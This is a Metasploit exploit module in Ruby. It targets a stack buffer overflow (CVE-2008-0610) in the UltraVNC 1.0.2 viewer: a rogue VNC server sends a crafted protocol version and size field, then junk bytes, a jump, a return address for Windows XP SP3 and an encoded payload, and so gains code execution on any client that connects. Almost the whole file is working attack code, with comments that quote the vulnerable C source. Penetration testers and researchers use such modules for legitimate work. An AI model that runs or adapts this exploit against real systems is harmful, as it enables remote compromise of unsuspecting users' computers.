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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::TcpServer
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'UltraVNC 1.0.2 Client (vncviewer.exe) Buffer Overflow',
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      'Description'    => %q{
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        This module exploits a buffer overflow in UltraVNC Viewer 1.0.2 Release.
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        If a malicious server responds to a client connection indicating a minor
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        protocol version of 14 or 16, a 32-bit integer is subsequently read from
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        the TCP stream by the client and directly provided as the trusted size for
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        further reading from the TCP stream into a 1024-byte character array on
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        the stack.
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      },
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      'Author'         => 'noperand',
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2008-0610' ],
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          [ 'OSVDB', '42840' ],
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          [ 'BID', '27561' ],
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        ],
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'thread',
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        },
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      'Payload'        =>
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        {
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          'Space'    => 500,
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [ 'Windows XP SP3',	{ 'Ret' => 0x00421a61 } ], # vncviewer.exe, 1.0.2
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        ],
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      'Privileged'     => false,
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      'DisclosureDate' => '2008-02-06',
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      'DefaultTarget'  => 0))
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    register_options(
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      [
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        OptPort.new('SRVPORT', [ true, "The VNCServer daemon port to listen on", 5900 ])
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      ])
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  end
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  def on_client_connect(client)
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    return if ((p = regenerate_payload(client)) == nil)
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    sploit = rand_text_alpha(1100)   	# junk, could be more efficient here
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    sploit << "\x00\x04\x00\x00" 	 	# value to get around a write
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    sploit << rand_text_alpha(12)	 	# random junk
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    sploit << "\xEB\x06" << make_nops(2)	# short relative jump
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    sploit << [target.ret].pack('V') 	# pop/pop/ret (default is in vncviewer.exe)
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    sploit << payload.encoded
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=begin
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    We prepend the initial 12 bytes including the servers' desired protocol version ("RFB 003.016").
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    - These bytes are read directly by a call to ReadExact() with a size of 12.
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    ...
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    if (m_minorVersion == 14 || m_minorVersion == 16)
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    {
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      int size;
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      ReadExact((char *)&size,sizeof(int));
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      char mytext[1024]; //10k
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      ReadExact(mytext,size);
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      mytext[size]=0;
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    ...
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    If minor version is 16 or 14, a 32-bit integer follows indicating the size of our data to read.
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    We then append our data.
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=end
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    sploit = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x31\x36\x0a" << [sploit.length].pack('N') << sploit
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    print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")
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    client.put(sploit)
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    handler(client)
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    service.close_client(client)
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  end
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end
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